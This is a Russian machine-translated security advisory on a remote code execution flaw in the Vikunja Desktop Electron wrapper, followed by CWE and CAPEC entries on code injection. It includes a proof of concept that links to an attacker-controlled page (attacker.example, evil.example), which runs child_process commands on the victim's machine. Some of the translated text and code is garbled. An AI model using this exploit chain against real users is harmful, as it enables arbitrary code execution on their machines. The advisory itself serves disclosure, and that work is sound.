Vikunja - это самостоянная платформа управления задачами с открытым исходным кодом. Начиная с версии 0.21.0 и до версии 2.2.0, обертка Viku…
Vikunja - это самостоянная платформа управления задачами с открытым исходным кодом. Начиная с версии 0.21.0 и до версии 2.2.0, обертка Vikunja Desktop Electron обеспечивает «nodeIntegration` в основном BrowserWindow» и не ограничивает навигацию в одно и то же окно. Злоумышленник, который может разместить ссылку в пользовательском контенте (описания задач, комментарии, описания проектов), может заставить BrowserWnow перейти к контролируемому злоупотреблятелем происхождению, где JavaScript выполняется с полным доступом Node.js, что приводит к произвольному выполнению кода на машине жертвы. Версия 2.2.0 исправляет проблему. # # Root причина Две ошибок объединяются, чтобы создать эту уязвимость: 1. **`nodeIntegration: true`** устанавливается в «BrowserWindow` веб-предположения» (`esktop/main.js:16`), предоставляя любую страницу, загруженную в рендерингере, полный доступ к API (`require/, `child_process`, `fs`, etc. 2. 2. ** Никакой `will-nvigate` или ``will-redirect` Обработчик** не зарегистрирована "webContents`". Существующий `setWindowOpenHandler` (`desktop/main.js:19-23`) только перехватывает `window.open()` звонки (new-Window.indow)` (запросы на новое окна). Он не перехватывает те же навигации с окнами, вызванные: - `<a href="https://">` ссылки (без `Це-нацеливания="_blank"`) - "window.location` назначения" - HTTP перенаправления - `<meta http-equiv="refresh">` теги ## сценарий атаки 1. Агитатор является обычным пользователем в том же экземпляре Vikunja (например, участник общего проекта). 2. 2. Злоумышленник создает или редактирует описание проекта или описание задачи, содержащее стандартную HTML-ссылку, например: `<a href="https://evil.example/exploit">Нажмите здесь для обновленного дизайна spec</a>` 3. 3. Фронтенд Vikunja отображает это звено. Дезинфекция DOMPurify правильно позволяет это - это законная якорная тега, а не инъекция сценариев. Пример пути воспроизведения: `frontend/src/views/projectInfo.vue` использует `v-html` с продезинфицированным DOMPurify выводом. 4. Жертва использует Vikunja Desktop и нажимает на ссылку. 5. Поскольку обработчик «Will-navigate` не существует», BrowserWindow переходит к `https://evil.example/exploit` в том же процессе рендеринга. 6. 6. Страница злоумышленника теперь выполняет в контексте с «nodeIntegration: true`» и работает: `require('child_process'.exed)('id > /tmp/pwned');` 7. Произвольные команды выполняются как пользователь ОС жертвы. # # Impact Полное удаленное выполнение кода на рабочем столе жертвы. Злоумышленник может считывать/пишет произвольные файлы, выполнять произвольные команды, устанавливать вредоносные или бэкдоры, а также эксфильтровать учетные данные и конфиденциальные данные. Уязвимость XSS не требуется - достаточно нормальной гиперссылки, одобренной дезинфицирующим средством. ## Доказательство концепции 1. Создайте экземпляр Vikunja с двумя пользователями, разделяющими проект. 2. 2. Как пользователь злоумышленника, отредактируйте описание проекта, чтобы включить: `<a href="https://attacker.example/poc.html">Meeting notes</a>` 3. 3. Ведущий poc.html с: `<script>require('child_process'.exec('calc.exe')</script>` 4. Как жертва, откройте проект в Vikunja Desktop и нажмите на ссылку. 5. calc.exe (или любая другая команда) выполняет на машине жертвы. ## Кредиты Эта уязвимость была обнаружена с помощью [GitHub Security Lab Taskflows] (https://github.com/GitHubSecurityLab/seclab-taskflows).
Продукт формирует полностью или частично сегмент кода на основе входных данных от вышестоящего компонента, однако не нейтрализует или некорректно нейтрализует специальные элементы, способные изменить синтаксис или поведение предполагаемого сегмента кода.
https://cwe.mitre.org/data/definitions/94.html →Открыть в коллекции CWE →Данная атака эксплуатирует доверие системы к файлам конфигурации и ресурсов. Когда исполняемый файл загружает ресурс (например, файл изображения или файл конфигурации), злоумышленник модифицирует файл таким образом, чтобы либо непосредственно выполнить вредоносный код, либо манипулировать целевым процессом (например, сервером приложений), заставляя его выполнять действия на основе вредоносных параметров конфигурации. По мере того как системы всё активнее интегрируют ресурсы из локальных и удалённых источников, вероятность осуществления данной атаки возрастает.
https://capec.mitre.org/data/definitions/35.html →Открыть в коллекции CAPEC →Данная атака направлена на переменные, управляемые пользователем (DEBUG=1, PHP Globals и т. д.). Злоумышленник может переопределять переменные, используя переменные запроса, предоставляемые пользователем и применяемые непосредственно на сервере приложений без какой-либо санитизации данных. В крайних случаях злоумышленник может изменять переменные, управляющие бизнес-логикой приложения. Например, в языках наподобие PHP ряд неудачно заданных конфигураций по умолчанию может позволить пользователю переопределять переменные.
https://capec.mitre.org/data/definitions/77.html →Открыть в коллекции CAPEC →Злоумышленник эксплуатирует слабость в проверке входных данных на стороне цели, чтобы внедрить новый код в выполняемый в данный момент. Этот шаблон отличается от включения кода тем, что включение кода предполагает добавление или замену ссылки на файл с кодом, который впоследствии загружается целью и используется как часть кода некоторого приложения.
https://capec.mitre.org/data/definitions/242.html →Открыть в коллекции CAPEC →